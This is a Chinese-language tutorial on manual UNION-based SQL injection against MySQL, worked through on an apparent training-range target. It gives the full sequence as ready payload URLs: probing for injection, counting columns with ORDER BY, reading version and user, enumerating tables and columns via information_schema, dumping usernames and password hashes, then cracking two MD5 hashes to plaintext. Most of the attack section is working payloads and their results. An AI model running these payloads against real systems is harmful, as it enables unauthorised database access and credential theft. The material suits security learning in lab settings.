SQL手工注入详解

  • 一、判断是否存在注入点
  • 二、Mysql数据库基本结构
  • 三、information_schema 简述
  • 四、手工注入过程详解
  • 1. 判断注入点
  • 2. 判断列名数量(字段数)
  • 3.判断可利用字段
  • 4. 信息收集
  • 5. 获取表名
  • 6. 获取列名
  • 7.获取指定数据
  • 8.md5解密
  • 9.登录获取KEY


一、判断是否存在注入点

如果页面中MySQL报错,证明该页面中存在SQL注入漏洞:

  1. 单引号 ’ ----> 页面错误
  2. and 1=1 ----> 页面正常
  3. and 1=2 ----> 页面错误
  4. ?id=随意输入------>页面错误

二、Mysql数据库基本结构

MYSQL数据库
  数据库A=网站A=数据库用户A
    表名
          列名
              数据
  数据库B=网站B=数据库用户B
    表名
          列名
              数据
  数据库C=网站C=数据库用户C
    表名
          列名
              数据

三、information_schema 简述

  1. MySQL5.0版本以上新增 information_schema 数据库
  2. information_schema 数据库储存当前数据库下所有的数据库名、表名、字段名等信息。
  3. 数据库中符号“.”代表下一级,如xiao.user标识xiao数据库下的user表名

举例:

数据库表名

含义

information_schema.tables

记录所有表名信息的表

information_schema.columns

记录所有列名信息的表

table_schema

数据库名称

table_name

表名

column name

列名

四、手工注入过程详解

1. 判断注入点

?id=随意输入数字11265,页面返回错误,判断有注入点。

MySQL order SQL注入 mysql注入点_网络安全

2. 判断列名数量(字段数)

order by X 根据返回页面正确与错误的临界值,判断临界值为4

MySQL order SQL注入 mysql注入点_MySQL order SQL注入_02

MySQL order SQL注入 mysql注入点_表名_03

3.判断可利用字段

将id值设置成不成立,即可探测到可利用的字段数,判断可利用字段数为2,3字段

http://219.153.49.228:47468/new_list.php?id=-1 union select 1,2,3,4

或者

http://219.153.49.228:47468/new_list.php?id=1 and 1=2 union select 1,2,3,4

MySQL order SQL注入 mysql注入点_sql_04

4. 信息收集

类型

sql函数

查询到信息

数据库版本

version()

5.7.22-0ubuntu0.16.04.

数据库名字

database()

mozhe_Discuz_StormGroup

数据库用户

user()

root@localhost

操作系统

@@version_compile_os

Linux

http://219.153.49.228:47063/new_list.php?id=-1 union select 1,version(),database(),4
http://219.153.49.228:47063/new_list.php?id=-1 union select 1,user(),@@version_compile_os,4

MySQL order SQL注入 mysql注入点_sql_05


MySQL order SQL注入 mysql注入点_sql_06

5. 获取表名

数据库版本为5.7,利用information_schema数据库查询表名

http://219.153.49.228:47063/new_list.php?id=-1%20union%20select%201,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

查询到指定数据库mozhe_Discuz_StormGroup下表名有:StormGroup_member,notice

MySQL order SQL注入 mysql注入点_网络安全_07

6. 获取列名

利用 union select 联合查询,获取StormGroup_member表下的列名

http://219.153.49.228:47063/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

查询到列名有 id,name,password,status

MySQL order SQL注入 mysql注入点_MySQL order SQL注入_08

7.获取指定数据

利用 union select 联合查询,获取指定数据,name,password。查询的时候尽量使用group_concat()防止漏数据

http://219.153.49.228:47063/new_list.php?id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member

MySQL order SQL注入 mysql注入点_MySQL order SQL注入_09

8.md5解密

356f589a7df439f6f744ff19bb8092c0 MD5解密 :dsan13

2d9dc71b7a2989dfb723ea224c73e7e7 MD5解密 :915944

9.登录获取KEY

MySQL order SQL注入 mysql注入点_表名_10